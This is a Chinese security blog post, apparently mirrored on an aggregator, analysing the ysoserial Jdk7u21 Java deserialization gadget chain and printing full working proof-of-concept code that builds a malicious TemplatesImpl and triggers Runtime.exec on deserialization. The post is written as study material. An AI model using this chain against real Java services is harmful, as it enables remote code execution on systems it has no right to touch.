IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> 『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞 -> 正文阅读

[Java知识库]『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞

前言

环境为Jdk<=7u21 +自带Xalan

源代码及原作者文章:

Jdk7u21.java
Java 7u21 Security Advisory

代码审计 | 原理分析

1、TemplatseImpl.getOutputProperties()触发类加载

TemplatesImpl.getOutputProperties()调用了newTransformer().getOutputProperties()
在这里插入图片描述
newTransformer()首先获取了TransformerImpl实例,传入参数前又执行了getTransletInstance()获取Translet实例
在这里插入图片描述
获取类实例中调用了defineTransletClasses(),这里要确保TemplatesImpl的_name非空、_class为空才能进入
在这里插入图片描述
defineTransletClasses中要确保TemplateImpl的_bytecodes非空
在这里插入图片描述
然后就开始加载_bytecodes里面的字节码,这里要确保这个类是AbstractTranslet的子类
在这里插入图片描述
跳出defineTransletClasses(),后面就进行实例化_bytecodes的类,因此,这里bytecodes我们只要生成一个AbstractTranslet的子类,然后在构造器或者是静态代码块写入RCE即可
在这里插入图片描述

设置_tfactory的作用

在我们的分析中是不需要设置_tfactory的
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
因为在后续版本7u80修改了判断条件需要设置这一段,在21版本不需要


下面分析怎么调用TemplateImpl.getOutputProperties()

2、动态代理调用getOutputProperties()

又要用到cc1的AnnotationInvocationHandler了,它有一个equalsImpl()方法
在这里插入图片描述
这里向恶意TemplatesImpl对象循环调用type类里的所有方法,恰好,TemplatesImpl的父类Template刚好有getOutputProperties()方法,因此这里我们实例化AnnotationInvocationHandler的时候要把type设置成Template类

这样就会保证调用getOutputProperties()了
在这里插入图片描述
然后找equalsImpl()在哪被调用,刚好在invoke调用了
在这里插入图片描述
根据逻辑:我们要调用代理的equals方法,传参是恶意TemplatesImpl对象,按照下图的方式就能够触发了
在这里插入图片描述
接着分析怎么把它和反序列化联系起来

3、LinkedHashSet反序列化触发AnnotationInvocationHandler.equals()

LinkedHashSet的父类HashSet重写了readObject(),这里将LinkedHashSet里面的各项传入了map.put
在这里插入图片描述
看一下put,这段代码是判断新插入的元素是否已经存在,这里就调用了equals方法
在这里插入图片描述
那么我们要保证key是proxy、k是恶意TemplatesImpl,看一下k的来源:k是上一个元素
在这里插入图片描述
那么我们要先给LinkedHashSet加入恶意TemplatesImpl、然后再加入代理proxy,就能够完成触发
在这里插入图片描述
if条件还有个hash判断是必须绕过的:
在这里插入图片描述
也就是恶意TemplatesImpl的hash要和proxy的哈希相等

绕过hash

第一次传入恶意TemplatesImpl调用的是自己的hashCode,而第二次传入proxy调用的是AnnotationInvocationHandler重写的hashCode
在这里插入图片描述
这个memberValues是定义Handler传入的map
在这里插入图片描述
看一下计算公式:127× 键哈希 ^ 值哈希 == var1== hash(TemplatesImpl)

int var1 = 0;
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

那么我们要在定义Handler传入的map令键的哈希是0,而值是恶意TemplatesImpl即可构造出
hash(TemplatesImpl) == hash(TemplatesImpl)从而绕过判断

也就是这串字符的来源:f5a5a608
在这里插入图片描述
在这里插入图片描述

复现代码

GenerateEvilByJavaassist.java:使用javaassist生成AbstractTranslet的子类

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class GenerateEvilByJavaassist {
    static byte[] generate() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("Evil");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(zuper);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
        clazz.addConstructor(constructor);

        return clazz.toBytecode();
    }


}

GetTemplatesImpl.java:生成恶意TemplatesImpl类

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.lang.reflect.Field;

public class GetTemplatesImpl {
    static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GenerateEvilByJavaassist.generate()};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "foo");

        return  templates;
    }

    private static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

GetProxy.java:生成代理

package jdk7u21;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class GetProxy {
    static Map map = new HashMap();
    static Templates getProxy() throws Exception{
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Templates.class, map);
        Templates proxy = (Templates) Proxy.newProxyInstance(Object.class.getClassLoader(), TemplatesImpl.class.getInterfaces(), handler);

        return proxy;
    }
    static void put(Object a, Object b){
        map.put(a,b);
    }
}

Manual.java:触发反序列化

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.util.LinkedHashSet;

public class Manual {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = GetTemplatesImpl.getTemplatesImpl();

        LinkedHashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(GetProxy.getProxy());

        GetProxy.put("f5a5a608", templates);

        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(set);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        f.deleteOnExit();
    }
}

在这里插入图片描述

POP链

在这里插入图片描述

欢迎关注我的CSDN :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123227676
版权声明:本文为原创,转载时须注明出处及本声明

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-03-03 15:57:54  更:2022-03-03 15:58:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:31:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码